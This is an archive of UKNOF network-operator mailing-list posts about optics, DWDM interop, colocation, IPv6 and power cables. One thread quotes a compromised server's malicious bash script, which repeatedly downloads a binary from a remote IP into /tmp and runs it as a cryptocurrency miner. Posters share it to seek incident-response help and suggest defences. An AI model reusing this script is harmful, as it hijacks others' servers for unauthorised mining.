> Sorrento Networks
> +44 7794 907171
>
> Sent from my iPhone
>
>

[uknof] Complacency vs preparedness?

[Tom Storey]

I think this might be interesting to some people.

As an Aussie I (try to) keep up with whats going on back home. At the time
(back in September, this email sat in my draft folder for a while, oops),
there was a state wide blackout in South Australia following a large storm.
Total power loss for an entire state. It sounds crazy, how can that even
happen?

A chap from the Uptime Institute piped up with calls for feedback on what
various operators experienced, what worked, what didnt work, lessons
learned etc. He also quoted a previous study completed post Hurricane Sandy.

Another study was linked to, which was completed after a fire took out a
Telstra telephone exchange, blacking out communications for a chunk of the
state of Victoria.

I guess its times like these that you get to see what happens when things
really go wrong, and its a good reminder to check your plans, revise them
if they are out of date, or to make them if they dont exist.

You can follow the thread from the AusNOG mailing list here:
http://lists.ausnog.net/pipermail/ausnog/2016-September/037108.html

One participant has unloaded a few gems on to the list about what they
experienced and things they they now need to look in to improving, some of
them simple things you may forget about because they generally "just work".

Enjoy.

Re: [uknof] UKNOF mailing list migration

[Tom Storey]

Coming to me via v6:

Received: from haggis.mythic-beasts.com (haggis.mythic-beasts.com.
[2a00:1098:0:86:1000:0:2:1])

:-)

On 12 August 2016 at 15:49, Martin J. Levy  wrote:

> Nat,
>
> > The public mailing lists have now been moved over to Mythic Beasts,
>
> WAIT. I think you're not telling the truth. If it was really on Mythic
> Beasts it would be v6 only. Yes, v6 only. I still see v4 After all, what
> "operator" doesn't have v6 on their mail server? BTW: I don't want to start
> an argy-bargy about this; but ... it's 2016!
>
> However, it was all a dream. "mail.uknof.net" doesn't have an 
> record. Sorry Nat ... back to the drawing board. :(
>
> > thank you again to Rob, Will and Andy at LONAP for hosting them for the
> past 10+ years.
>
> Yes. Three cheers to Rob, Will, Andy & LONAP! A job well done!
>
> Martin
>
>
>

[uknof] IPv6 usage explosion

[Tom Storey]

See this graph here:

https://www.vyncke.org/ipv6status/compare.php?metric=p&countries=ww,gb

Other countries have also experienced recent explosions in IPv6 usage,
e.g. Australia:

https://www.vyncke.org/ipv6status/compare.php?metric=p&countries=ww,gb,au

Is anyone aware of any networks that have flipped some switches (and,
perhaps, what kind of switches?) recently that would account for this
kind of explosive growth?

Re: [uknof] Brocade 100G LR4 to Ciena 6500 Interop

[Tom Storey]

Wait, LR4 <> C-band transponder?

Having worked a bit with Ciena 6500, there should be a pair of cards
at either side, theres a "client" card with a matching LR4 optic, and
the transponder ("line") card that is tunable in the C-band. Wouldnt
be so sure about hooking an LR4 straight up to the transponder...

But anyway, by the time your LR4 client signal makes it near the line
side of the system it should be wrapped in an OTU4, rather than being
native across the wire. So presumably it shouldn't have any impact on
either end, not least the line side. Maybe some alarms could be
generated on the client cards as they will see your client signal
natively.

On 21 December 2015 at 22:58, Mike Hughes  wrote:
> Hi all,
>
> Wondered if anyone had an experience with interop between Brocade 100G LR4
> interfaces and Ciena 6500 DWDM gear (specifically the 100G WL3e C-band LR
> transponder card)?
>
> Any gotchas or known issues to report?
>
> The Ciena gear isn't under my control, it's carrier equipment.
>
> On the far side of the DWDM infra, there's the reverse -  demux and
> transponder, going into a Juniper (I think MX of some description), all not
> under my control.
>
> We're getting repeated bouncing of the interface our side with "Remote Fault
> 1" as the reason.
>
> Sadly, I can't go and eyeball this myself as it's in Japan, so I'm dependent
> on local hands and eyes to get to the bottom of this.
>
> We're already interoperating the Brocade 100G LR4 interfaces successfully in
> the EU with other Brocade, Cisco and Juniper gear, and I suspect ALU too.
>
> I suspect this is the first time we've gone across the metro at 100G on
> infra other than our own.
>
> If anyone's got any helpful suggestions, please drop me a line.
>
> Cheers,
> Mike

Re: [uknof] Mx80 with non juniper xfp

[Tom Storey]

Ive used JDSU and Finisar XFPs/SFPs/SFP+s in a wide range of Juniper
boxes and not had any issues. DOM also works just fine.

I thought EX's were the picky ones, although I have also used JDSU
branded CWDM SFPs in those without any issues.

On 8 October 2015 at 20:27, Joseph Waite  wrote:
> Does anyone in here know if the juniper mx80, not sure firmware but unit was 
> manufactured in 2013 so Fairly recent will work with other xfp's? My ex3300 
> juniper switches will work fine and just show non-jnpr or similar when 
> checking the hardware.
>
> Is the mx80 the same or are they more fussy? I'm looking to put brocade 10gig 
> xfp modules in it!
>
> Reason being is I need to connect up this weekend and supplier has let me 
> down, and I can find non juniper cheaper/easier that I can collect tomorrow 
> near London!
>
> Joe Waite

[uknof] Vodafone oops?

[Tom Storey]

Monday afternoon funnies.

$ traceroute vodafone.co.uk
traceroute to vodafone.co.uk (85.205.252.161), 64 hops max, 52 byte packets
...
 7  nrth-bb-1c-ae0-0.network.virginmedia.net (62.254.42.134)  13.561 ms * *
 8  fran-ic-2-ae0-0.network.virginmedia.net (62.254.42.178)  43.084 ms
 35.267 ms  33.177 ms
 9  ffmgw3.arcor-ip.net (80.81.192.117)  38.645 ms  42.100 ms  37.203 ms
10  188.111.185.5 (188.111.185.5)  40.167 ms  40.862 ms  40.559 ms
11  85.205.25.161 (85.205.25.161)  49.087 ms  47.097 ms  53.041 ms
12  85.205.25.166 (85.205.25.166)  42.239 ms  43.225 ms  42.342 ms
13  188.111.185.5 (188.111.185.5)  40.524 ms  44.784 ms  42.415 ms
14  85.205.25.161 (85.205.25.161)  49.076 ms  60.913 ms  117.718 ms
15  85.205.25.166 (85.205.25.166)  50.735 ms  46.168 ms  45.875 ms
16  188.111.185.5 (188.111.185.5)  49.566 ms  46.785 ms  48.435 ms
17  85.205.25.161 (85.205.25.161)  51.292 ms  58.643 ms  52.007 ms
18  85.205.25.166 (85.205.25.166)  54.314 ms  47.323 ms  46.566 ms
19  188.111.185.5 (188.111.185.5)  49.936 ms  50.951 ms  47.588 ms
20  85.205.25.161 (85.205.25.161)  52.934 ms  61.624 ms  55.103 ms
21  85.205.25.166 (85.205.25.166)  52.304 ms  58.613 ms  51.020 ms

and so on.

Re: [uknof] Pallet trucks in GS2

[Tom Storey]

Seems our pallet trucks arrived after all.

Thanks to those who responded. :-)

On 9 February 2015 at 09:02, Tom Storey  wrote:

> Hi everyone.
>
> We are receiving quite a sizeable delivery over the next few days at
> London GS2.
>
> We were supposed to have our own pallet trucks arriving today with our
> first delivery, but looks like they wont make it, and those who know the
> usual pallet truck situation in GS2 know that will represent a bit of a
> problem. :-)
>
> Does anyone have a pallet truck (or two) they could loan to one of my
> colleagues on site?
>
> Thanks!
>

[uknof] Pallet trucks in GS2

[Tom Storey]

Hi everyone.

We are receiving quite a sizeable delivery over the next few days at London
GS2.

We were supposed to have our own pallet trucks arriving today with our
first delivery, but looks like they wont make it, and those who know the
usual pallet truck situation in GS2 know that will represent a bit of a
problem. :-)

Does anyone have a pallet truck (or two) they could loan to one of my
colleagues on site?

Thanks!

Re: [uknof] C20-C21 cables

[Tom Storey]

On 28 January 2015 at 12:26, Ivens, Mark  wrote:

> 3-phase PDUs we use with our ASR9Ks.
>

Same situation here with the ASR9k, just a different 3 phase PDU supplier.

Re: [uknof] C20-C21 cables

[Tom Storey]

The C20 end wont be in the same kind of hot environment. The C21 end will
be directly behind some power supply modules, while the C20 in an adjacent
rack with PDUs only.

<1 metre of the cable that will be anywhere near a source of heat.

On 28 January 2015 at 12:17, Tony McCrory  wrote:

> Can't have it both ways surely?
> If C20 is only rated for Cold, and C21 is Hot (155C),  Maybe you really
> need a C21-C22 cable?
>
> On 28 January 2015 at 12:07, Stuart Henderson  wrote:
>
>> On 2015/01/28 12:02, Peter Bristow wrote:
>> > Hi,
>> >
>> > Last time I needed these for the new style ASR9k PSU I used
>> >
>> > http://www.leadsdirect.co.uk/
>> >
>> > At the time they were the only supplier I could find in the UK,
>> > everyone else was doing C19-C20 rather than C20-C21.
>>
>> http://www.leadsdirect.co.uk/shop/iec-c20-iec-c21-1-5mm-cores-2m/
>> "2 metre IEC C20 plug to IEC C21 line socket. 1.5mm cores. Cold
>> condition."
>>
>> That seems wrong, surely the C21 should only be used with high temperature
>> rated cable?
>>
>>
>>
>

Re: [uknof] C20-C21 cables

[Tom Storey]

That does seem a tad worrying...

Will email them and ask. They say they build on request, so I may be able
to get them to make something longer for my situation.

On 28 January 2015 at 12:07, Stuart Henderson  wrote:

> On 2015/01/28 12:02, Peter Bristow wrote:
> > Hi,
> >
> > Last time I needed these for the new style ASR9k PSU I used
> >
> > http://www.leadsdirect.co.uk/
> >
> > At the time they were the only supplier I could find in the UK,
> > everyone else was doing C19-C20 rather than C20-C21.
>
> http://www.leadsdirect.co.uk/shop/iec-c20-iec-c21-1-5mm-cores-2m/
> "2 metre IEC C20 plug to IEC C21 line socket. 1.5mm cores. Cold condition."
>
> That seems wrong, surely the C21 should only be used with high temperature
> rated cable?
>
>

Re: [uknof] C20-C21 cables

[Tom Storey]

Hi Everyone.

Some good leads so far, but no answers unfortunately (still a couple to
follow up on though...)

FWIW, C21 is different to what would probably be its brother in the C19
connector. C21 has two angled corners which stops you plugging in a C19
plug. C21 is designed for high temperature environments.

Its annoying but I guess theres a good reason for it.

Will keep looking.

Cheers!

On 28 January 2015 at 11:43, Tom Storey  wrote:

> Hi everyone. Does anyone know of a reliable source of C20-C21 power leads,
> something in the range of 3-5 metres.
>
> RS doesnt seem to have any.
>
> Need qty 16.
>

[uknof] C20-C21 cables

[Tom Storey]

Hi everyone. Does anyone know of a reliable source of C20-C21 power leads,
something in the range of 3-5 metres.

RS doesnt seem to have any.

Need qty 16.

Re: [uknof] Stocking of spares?

[Tom Storey]

Maybe the system needs to be simpler and more accessible so that it doesnt
seem like a burden?

Many people have smart phones. A bog standard QR code reader that opens an
website/page specific to that site and part, asks how much was added or
removed, and updates a database?

An intern/work experience kid could possibly knock this up in a week, or
two if they arent trying?

On 16 January 2015 at 15:24, Ash Scott  wrote:

>   Hi all,
>
>
>
> We have loads of spares on site, items such as line cards, modules, cables
> etc. We currently manage the stock using Racktables. We’ve tried various
> methods using racktables, but the same issue exists; people not updating it
> when they take something from stock. I’ve proposed a web based stock
> manager which is built into a POS system, but disabling everything except
> stock management. I’ve also considered barcoding stuff and buying a little
> barcode reader to leave in the various storage locations to make it as easy
> as possible, then there’s no excuses really.
>
>
>
> How do you manage your spares and keep the spare count true to the actual
> count?
>
>
>
> Kind regards,
>
> Ash
>
> Ash Scott
> Custodian Data Centre
> Email: a...@custodiandc.com
> http://www.CustodianDC.com
>
>

[uknof] Skeletek racks

[Tom Storey]

Hey everyone.

Does anyone know who the local distributor is for Skeletek racks in the UK?

Ive located them for sale on ebay, but a friend recently had a bad run
in with the seller over some questionable post-auction requests from
the seller (e.g. requesting additional money beyond the auction price
via direct transfer), and ebay suggested avoiding them as a result.
Quite a shame really, they seem to have a good reputation.

Alternatively if anyone has some and are looking to sell, Im in the
market for 2 racks around 24U each.

Cheers.

Re: [uknof] Very weird server process, hacked? /tmp/w00t /tmp/lllll /tmp/toplel

[Tom Storey]

Probably also worth making /tmp noexec so that stuff like this has a
harder time getting started.

On 20 April 2014 20:14, Gary Steers  wrote:
> All,
>
> This looks like its some form of crypto currency miner "xptMiner.exe", think
> that ones a RieCoin one...
>
> Undoubtedly the servers in use are compromised in some way but may be worth
> an abuse message to the contact on the RIR record in whois?
>
> Gavin, have sent you an e-mail off topic as well with a little more info,
> hope it was useful.
>
> ---
> Gary Steers
> Chief Network Engineer | Boosty
>
>
> On 20 April 2014 19:56, Gavin Henry  wrote:
>>
>> Hi all,
>>
>> Not usually a post you see on uknof, but wanted some help and to check
>> if anyone else has seen this?
>>
>> We've just started getting alerts from one of our servers for highload
>> and discovered a weird process:
>>
>> nagios285936  0.0  0.0  10744  1468 ?S19:03   0:00
>> bash /tmp/toplel
>> nagios292199  102  0.5 3261868 362816 ?  Rl   19:39   0:15  \_
>> /tmp/w00t -d 0 -o http://128.65.210.244:8080 -u Seegee.lin -p 1 -s
>> 2965706752
>>
>>
>> root@hostname:/tmp# ls -lh
>> total 1016K
>> -rw-r--r-- 1 nagios nagios 0 Apr 20 18:26 l
>> -rwxrwxrwx 1 nagios nagios   615 Apr 20 19:05 toplel
>> -rwxrwxrwx 1 nagios nagios 1008K Apr 19 21:59 w00t
>>
>>
>> No idea where it came from. All our stuff has OpenSSL updated as is
>> our Nagios. w00t is a binary, toplel is a bash script containing:
>>
>> #!/bin/bash
>> if [ $1 -le 10 ] ; then
>> NUM = $(expr $1 + 1)
>> nohup bash $0 $NUM >/dev/null 2>&1 &
>> exit
>> fi
>> CORECOUNT=$(cat /proc/cpuinfo | grep -c processor)
>> FREE=$(free -b | head -n2 | tail -n1 | awk '{print $4}')
>> FREE=$(expr $FREE - 52428800)
>> FREE=$(expr $FREE / $CORECOUNT)
>>
>> while true; do
>> killall w00t
>> wget http://162.213.24.40/nope-sse4 -O /tmp/w00t
>> chmod 777 /tmp/w00t
>> /tmp/w00t -d 0 -o http://128.65.210.244:8080 -u Seegee.lin -p 1 -s
>> $FREE
>>
>> wget http://162.213.24.40/nope-nse4 -O /tmp/w00t
>> chmod 777 /tmp/w00t
>> /tmp/w00t -d 0 -o http://128.65.210.244:8080 -u Seegee.lin -p 1 -s
>> $FREE
>>
>> sleep 300
>> done;
>>
>>
>>
>> --
>> Kind Regards,
>> Gavin Henry.
>>
>

Re: [uknof] Older Juniper J series routers - time bomb

[Tom Storey]

For anyone that is interested, Juniper provided me with a solution
which is genius if still a little hacky.

They suggest:

1. Deactivate existing NTP configuration
2. Set date back ~10 years

root> set date 20040325.00

3. Disable sw -> hw time sync (incl. at boot time via rc script)

root% sysctl -w machdep.disable_rtc_set=1
root% touch /cf/etc/rc.custom
root% chmod +x /cf/etc/rc.custom
root% echo "sysctl -w machdep.disable_rtc_set=1" > /cf/etc/rc.custom
root% cat /cf/etc/rc.custom

4. Re-activate NTP configuration
5. Reboot (doesnt seem strictly necessary, but maybe worthwhile as a test)

So basically youre setting the hw clock back ~10 years which allows
the FPC to come online. You disable sw -> hw time sync so even when
running NTP, if the device reboots the hw clock is still in the past,
the FPC will come online because the certificate is still valid, and
then NTP will update the time on the box to the present.

Hope that helps some one else out there.

On 28 March 2014 18:21, Edward Dore
 wrote:
> Juniper have just published TSB16366
> (http://kb.juniper.net/InfoCenter/index?page=content&id=TSB16366) with a new
> certificate and instructions on what to do about renewing expired licenses.
>
> Edward Dore
> Freethought Internet
>
> On 28 Mar 2014, at 16:57, Tom Storey  wrote:
>
> For the newer J series its easy enough to load a newer JunOS image,
> and in such a case sure, self inflicted.
>
> But the original J series stop at around JunOS 9.3 or so IIRC which
> doesnt help. And sure, they may be well beyond EOL by now, but they
> still have their uses, and Im sure many people would rather they just
> kept on working.
>
> On 28 March 2014 13:16, Paul Mansfield  wrote:
>
> "So kit that has been EOL for 6 years, running code that has been
> unsupported for 4 years has a bug that is easily worked around.
> Whilst EOL was 6 years ago the hardware has some years support left to
> run on it and the software can be easily upgraded to versions with
> full support.  Seems like a storm in a teacup to me and entirely
> self-inflicted by the customer running truly ancient code for no good
> reason."
>
>
>

Re: [uknof] Older Juniper J series routers - time bomb

[Tom Storey]

For the newer J series its easy enough to load a newer JunOS image,
and in such a case sure, self inflicted.

But the original J series stop at around JunOS 9.3 or so IIRC which
doesnt help. And sure, they may be well beyond EOL by now, but they
still have their uses, and Im sure many people would rather they just
kept on working.

On 28 March 2014 13:16, Paul Mansfield  wrote:
> "So kit that has been EOL for 6 years, running code that has been
> unsupported for 4 years has a bug that is easily worked around.
> Whilst EOL was 6 years ago the hardware has some years support left to
> run on it and the software can be easily upgraded to versions with
> full support.  Seems like a storm in a teacup to me and entirely
> self-inflicted by the customer running truly ancient code for no good
> reason."
>

Re: [uknof] Older Juniper J series routers - time bomb

[Tom Storey]

Seems this may also affect the more recent J series with images
earlier than 12.1. From 12.1 a newer certificate is used to provide a
later expiry date.

On 27 March 2014 17:58, Tom Storey  wrote:
> Perusing the j-nsp list I came across this thread:
>
> http://www.gossamer-threads.com/lists/nsp/juniper/50450
>
> If youre running any older J series (i.e. x300), or were thinking of
> digging them out to use for some purpose, you might be in for a
> slightly rude shock.
>
> Otherwise its a "sad" thing to see. I have a J2300 in my lab at home
> which works great in such a role, it would be a shame to have to ditch
> it due to an expired certificate.

[uknof] Older Juniper J series routers - time bomb

[Tom Storey]

Perusing the j-nsp list I came across this thread:

http://www.gossamer-threads.com/lists/nsp/juniper/50450

If youre running any older J series (i.e. x300), or were thinking of
digging them out to use for some purpose, you might be in for a
slightly rude shock.

Otherwise its a "sad" thing to see. I have a J2300 in my lab at home
which works great in such a role, it would be a shame to have to ditch
it due to an expired certificate.

[uknof] Want to buy: Juniper M7i

[Tom Storey]

Hi everyone.

Thought I might try my luck with this again. I emailed out a looong
time ago asking if anyone had any M7i's they were looking to dispose
of. I had a lot of good responses, but I never concluded anything out
of it.

So Im going to ask again. Rough specs Im looking for:

* AC power supplies preferable (1 or 2, not fussed)
* Any RE model, for my situation I think any type of CFEB will also do
* Looking for a couple of GigE interfaces

As per my last email, Im looking to purchase this for personal lab
use. This time I am much more determined to conclude a sale!

If you have anything now, or coming up in the next couple of weeks
perhaps, please let me know.

Thanks.

Re: [uknof] Equipment in customs

[Tom Storey]

The company I work for gets a lot of stuff shipped from the US to the
EU, and everything has to first come via .nl before being shipped
anywhere else. Stab in the dark: Perhaps the customs charges are lower
in the Netherlands, and once inside the EU you are able to ship freely
without any, or minimal extra customs/duty charges.

Please dont quote me on that last bit though. :-)

On 20 January 2014 15:55, Neil J. McRae  wrote:
> Cisco do still offer this and they charge you for it - it gets routed via
> Holland.
>
> On 20/01/2014 15:43, "Keith Mitchell"  wrote:
>
>>On 01/20/2014 09:36 AM, Nigel Titley wrote:
>>> On 20/01/2014 14:26, Paul Sladen wrote:
 On Mon, 20 Jan 2014, Emma Frost wrote:
> We (as in the Internet Society) are trying to donate some
> routers
 By any chance, would it be this one?

 "His Excellency Dr. Talal Abu-Ghazaleh, Chairman of ASREN
 recognizes the donation of the Internet Society and Cisco
 systems..."

http://www.asrenorg.net/media/news/338-abu-ghazaleh-recognized-the-donat
ion-of-isoc-and-cisco-systems-for-asren-pop-in-london.html

 It doesn't mention the actual kit involved, but could be it that the
 equipment are demo/sample/prototypes that Cisco no longer require.
>>
>>We had a similar issue with significant Cisco donations for F-root at
>>ISC. What Cisco managed to do once, but we never quite figured out how
>>to get repeated, was to have them ship the goods *internally* (i.e.
>>while still Cisco property) to the relevant country through their
>>channels, and have the donation transacted in-country. I don't think the
>>Internet usual suspect who arranged this works for Cisco anymore, however.
>>
>>Keith
>>
>
>

Re: [uknof] Anyone want to offload an ONS?

[Tom Storey]

Have you looked at the 15505 instead? It's a 1RU box. I know it has STM-4
modules, but not 100% sure about STM-16 (I have a sneaking suspicion it
might, but could be wrong.)

On Monday, 4 November 2013, Stephen Wilcox wrote:

>
> I need to demux an STM16 into 4x STM4. We currently don't have equipment
> that does this and would like to figure out the best way - where best for
> me is something inexpensive, simple and preferably small.
>
> Weirdly I dont see any off the shelf pizza boxes that do this.
>
> I was thinking of getting an ONS multirate card and having a play but have
> not used the ONS platform before. So, two questions for the list..
>
> Does the 15454_MRC-12 sound like a decent way to do the demux? Any better
> ideas?
>
> Does anyone have a spare ONS and/or 15454_MRC-12 card they'd like to sell?
> .. else I have to go international and track one down
>
>
> Lastly, on a related note, other than buying a full blow router such as a
> Juniper M320, Brocade MLX, is there a way to terminate an SDH POS line and
> switch the VLANs and packets out to ethernet? I've a request from someone
> wishing to present an STM16 to us but we need to take ethernet on our MPLS
> platform so I need a way to get the traffic over and the routers are
> turning out to be expensive protocol convertors!
>
> Cheers
> Steve
>
>

Re: [uknof] Allegro Networks | Spap Point

[Tom Storey]

It looks like something not too unlike megaport.com, which launched in
Australia just recently.


On 27 September 2013 20:35, Gavin Henry  wrote:

> Anyone know more about this yet?
>
> Nice typo in the title tags ;)
>
> http://www.allegro.net/snappoint
>

Re: [uknof] Connectivity into Singapore?

[Tom Storey]

What about talking to some of the LINX from Anywhere providers?

Surely if they can hook someone up to LINX from Singapore, they can do
something designed to "go the other way". :-)


On 16 September 2013 16:31, Charlie Boisseau  wrote:

>  Hi all,
>
>  Does anyone know of a supplier that can get L2 to Singapore,
> interconnecting to us in London (Telehouse)?  We've tried our usual
> contacts for international circuits (Level3, Verizon, NTT), however they're
> either ridiculously expensive or plain unable to do it.
>
>  I believe most are just quoting with a Singtel tail circuit from London
> - which we could do ourselves, if only I could get hold of someone sensible
> at Singtel.  Anyone got a contact there in wholesale?
>
>  Thanks.
>
>  C
>
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[uknof] DSL lines or similar in GS2

[Tom Storey]

Hi everyone.

Im looking at getting a DSL line provisioned in to our suite at GS2 as an
off-net Internet access method. I dont need any kind of high reliability
service, just a residential grade service.

Wondering if anyone has attempted this before, and what kind of speeds
youve gotten on your service?

According to BTs Infinity coverage check, based on a couple of phone lines
we have already provisioned (apparently from Poplar exchange), Im getting
wildly varying speeds from 12 to 17.5mbit.

Does anyone know what choices I have there, or can make recommendations for
a provider?

Native IPv6 would be a bonus.

Comments welcome.

Re: [uknof] CWDM kit...

[Tom Storey]

Yeah, 100G coherent.

They also have a 4x25 variant.

http://www.btisystems.com/products/bti-7800-series.aspx#tabs-2


On 16 June 2013 01:18, Neil J. McRae  wrote:

>  Assume the latter is a coherent system rather than coarse?
>
>  Neil.
>
>   From: Tom Storey 
> Date: Sunday, 16 June 2013 00:16
> To: Dariush Marsh-Mossadeghi 
> Cc: "uknof@lists.uknof.org.uk" 
>
> Subject: Re: [uknof] CWDM kit...
>
>   Ive worked on a lot of BTI gear and have no complaints.
>
>  http://btisystems.com/
>
>  Their latest system is meant to be capable of 96 x 100G channels.
>
>
> On 14 June 2013 09:53, Dariush Marsh-Mossadeghi wrote:
>
>> So I count that as three +1's for ghip.
>>
>> I'm curious, what makes them stand out from the crowd ?
>> Are they just bog standard at the right price ?
>> or is something specific ? ...specification, build quality, customer
>> Service, price ?
>>
>> Slightly off-topic etymological question that seems like the sort of
>> trivia that the list might have an opinion on
>> A mate of mine said to me that the term 'bog standard' was short for
>> 'British or German standard', an engineering term dating back to times when
>> the label was some mark of quality. This contradicts the google-verse
>> opinions but seems more plausible than some of the proffered explanations.
>> Anyone here come across this ?
>>
>> Dariush
>>
>>
>> On 14 Jun 2013, at 05:22, Mark Prior  wrote:
>>
>> > On 14/06/13 1:51 AM, Brandon Butterworth wrote:
>> >> ghipsystems.com and cubeoptics.com are our favourites
>> >>
>> >
>> > +1 for ghipsystems
>> >
>> > Mark.
>> >
>> >
>>
>>
>>
>

Re: [uknof] 3rd party optics for Juniper MX5-80

[Tom Storey]

I have used JDSU across a selection of platforms, namely MX, T and EX.


On 11 June 2013 08:18, Gavin Henry  wrote:

> Hi all,
>
> What 3rd party optics are folks using on the MX5-80 platform?
>
> Got a quote for Smart optics but will keep some Juniper branded ones of
> support if needed.
>
> Recommendations?
>
> Thanks.
>

Re: [uknof] CWDM kit...

[Tom Storey]

Ive worked on a lot of BTI gear and have no complaints.

http://btisystems.com/

Their latest system is meant to be capable of 96 x 100G channels.


On 14 June 2013 09:53, Dariush Marsh-Mossadeghi wrote:

> So I count that as three +1's for ghip.
>
> I'm curious, what makes them stand out from the crowd ?
> Are they just bog standard at the right price ?
> or is something specific ? ...specification, build quality, customer
> Service, price ?
>
> Slightly off-topic etymological question that seems like the sort of
> trivia that the list might have an opinion on
> A mate of mine said to me that the term 'bog standard' was short for
> 'British or German standard', an engineering term dating back to times when
> the label was some mark of quality. This contradicts the google-verse
> opinions but seems more plausible than some of the proffered explanations.
> Anyone here come across this ?
>
> Dariush
>
>
> On 14 Jun 2013, at 05:22, Mark Prior  wrote:
>
> > On 14/06/13 1:51 AM, Brandon Butterworth wrote:
> >> ghipsystems.com and cubeoptics.com are our favourites
> >>
> >
> > +1 for ghipsystems
> >
> > Mark.
> >
> >
>
>
>

Re: [uknof] 2013 Submarine Cable Map

[Tom Storey]

It also doesnt show the Bass Link cable that was lit some years ago between
Victoria and Tasmania (Australia.)

It was done in a similar fashion, put in with a HVDC line, and subsequently
lit for telecomms traffic.

So I suppose its possible that the Manx one has been lit but isnt on this
map either.


On 6 February 2013 19:40, Mike Hughes  wrote:

> On 3 February 2013 10:21, Paul Mansfield 
> wrote:
> > I saw this referenced in arstechnica and thought uknoffers would be
> > interested.
> >
> > http://www.telegeography.com/telecom-maps/submarine-cable-map/index.html
>
> Slight tangent having seen this...
>
> Did the Manx Electricity folks ever manage to (commercially) light up
> the fibre cable that was run in with the AC Interconnector between
> Blackpool and the Isle of Man?
>
> A fibre cable was put in at the same time as the Interconnector -
> partly because it was needed to carry the SCADA data between the
> electricity landing stations.
>
> The plan was to sell the spare capacity on the fibre cable on the open
> market.
>
> I only ask because it's not shown on the map.
>
> Ever happen?
>
> Mike
>
>

Re: [uknof] EFM DSLAM recommendations/costs

[Tom Storey]

My previous employer is also using the vendor formerly known as Hatteras.


On 25 January 2013 18:07, Neil J. McRae  wrote:

> So I deployed actelis at colt - excellent box with great manageability -
> at BT we use Hatteras which also works well.
>
> Neil
>
> Sent from my iPhone
>
> On 25 Jan 2013, at 15:58, "Simon Lockhart"  wrote:
>
> > On Fri Jan 25, 2013 at 01:27:06PM +, Ben Ward wrote:
> >> I'm looking for low-cost, fairly dumb ADSL/EFM DSLAMs, data only,
> capable
> >> of user-side VLANs.  Some of the 24-port 1u devices look suitable, but
> I'd
> >> be interested in chassis too.
> >
> > Interesting timing, because I'm going through exactly the same
> investigation
> > at the moment, althrough more on the ADSL than the EFM side.
> >
> >> We have a number of Zhone MXK319s already deployed. The early days of
> >> deploying them were rage-filled with an inconsistent cli, off-by-one
> bugs
> >> and their occasionally forgetting how to do switching, but as long as
> you
> >> don't touch them them they just sit there.
> >
> > I had a long discussion with Zhone's recommended reseller in the UK (The
> Kenton
> > Group) this morning. They have pointed me at both the MXK-319, and also
> their
> > 1U 48 port boxes (DSL/Voice only) - MX-150 and MXP-150. On the EFM side,
> they
> > also recommended the Actelis Networks products.
> >
> >http://www.microtel.co.uk/products/?cat=69
> >
> > One thing which did surprise me is that the MXK-319 (even when fully
> populated
> > with 72 port ADSL2+ cards) works out more expensive per port than the
> MX-150.
> > Okay, you have a slightly lower support overhead with having thing in one
> > chassis with one management interface, but I can work around that when
> we do
> > the integration into our OSS/BSS backend systems.
> >
> > I was also looking at the Zyxel products (as mentioned by Neil) - they
> have
> > comparable products to the Zhone ones - IES-1248 for a 1U 48 port
> DSLAM/MSAN,
> > and the IES-5000 for a chassis based solution, which has a similar range
> of
> > linecard option to the Zhone (including ADSL2+ and SHDSL/EFM). I've not
> yet
> > managed to speak to Zyxel or a reseller about these yet (any recommended
> > sales contacts?). Based on pricing found via google, the Zhone and Zyxel
> are
> > a similar price point.
> >
> > The bloke from Kenton Group that I spoke to wasn't particularly
> complimentary
> > about the Zyxel products (but then, he was trying to sell me the Zhone
> stuff).
> >
> > Simon
> >
> >
>
>
>

Re: [uknof] uknof Digest, Vol 49, Issue 15

[Tom Storey]

I heard something a few years back about the 7300 platform not (and never)
having 32bit ASN support. Not sure how true or if this has changed. Would
love clarification though.


On 17 January 2013 13:49, Ronan Mullally  wrote:

> On Thu, 17 Jan 2013, Peter Knapp wrote:
>
> > Aside from the rather aging 7204/6 VXR which are of course power hungry
> > and large, don't forget to look at the Cisco 7301 (1U) or the 7304 (with
> > NPEG-100) which is the replacement for the VXR/G1 routers. The 7304's
> > are large (4/5U off the top of my head) but nicely modular and
> > considerably less stoneage than 7204/6.
> >
> > We used to use the 7304/npeg100's but swapped them for 7301's primarily
> > due to space.
>
> Did you use the 7304 for L2TP termination?  Last time I looked (5+ years
> ago) it didn't support it.
>
>
> -Ronan
>
>
>

Re: [uknof] IPv6 Matrix results for August 2012

[Tom Storey]

On 11 September 2012 22:51, Neil J. McRae  wrote:
> Maybe Rio will have V6 - by then there might actually be a market for it I 
> suspect though digging the transportation tunnel to the park is far higher on 
> the minds of the organising committee.

But is it something that really needs to be decided by, or cared about
by the OC?

I mean, the OC should be caring about the overall project, the major
details, assigning authority, and making sure its all coming together
at the right times, only getting involved with smaller details when
the shit is hitting the proverbial fan - like good project managers
:-). So whether or not to IPv6 enable could be a decision made by the
teams in charge of IT and web services, and thusly cared about by
them. Does the OC have to care about such "minute" details in the
overall scale of the project?

I suppose it stands to reason, after all they did state that the
Olympic network would contain "nothing new" to avoid hitting bugs and
other oddities - hence the reason they loaded it up with Cat 6500's
instead of Nexus'. Perhaps they decided IPv6 is too new as well...

Re: [uknof] Looking for a PHP Developer

[Tom Storey]

On 6 August 2012 23:59, Paul Mansfield  wrote:
> try emailing uknot-j...@uknot.org ?
>
> or pay linkedin to carry your job adverts, or jobserve.
>
>
> posting jobs to uknof is bad form.
>

Bad form in what way, and by that I mean, its not expressly prohibited
by the charter from my reckoning.

I only ask because of precedent from another NOG list.

Recently there was similar discussion on the AusNOG (Australian NOG)
forum after a couple of job ads had been posted there, and the general
consensus rolled around to "its ok every now and then", perhaps
providing a link to an ad posted to a website instead of posting the
full content, and as long as it is a tech related job, and not
sales/non tech etc.

I personally dont mind seeing job ads every now and then, could be of
value some day, if not to me personally then perhaps to someone I
know. How often "every now and then" becomes is another matter... :-)

IMO.

Tom

Re: [uknof] Co-lo in/around London

[Tom Storey]

A big thanks to everyone that has responded. I'll try and get back to
you all soon.

But for now I have a few leads to follow up on, so I'll leave it at that.

Cheers!
Tom

On 12 June 2012 23:13, Tom Storey  wrote:
> Hi everyone.
>
> Can anyone recommend any co-lo providers in/around London that offer
> an "all in" kind of service, i.e. rack/power and connectivity?
>
> Looking for the following features:
>
> * 3RU (1 server, two routers each 1RU)
> * Connectivity included
> * A routed /29 of IPv4 (will be firewalling on one of the routers)
> * IPv6 a must (routed /64 or greater would be superb)
>
> Replies off-list, happy to hear direct from any lurking sales people
> to discuss specifics.
>
> Thanks,
> Tom

[uknof] Co-lo in/around London

[Tom Storey]

Hi everyone.

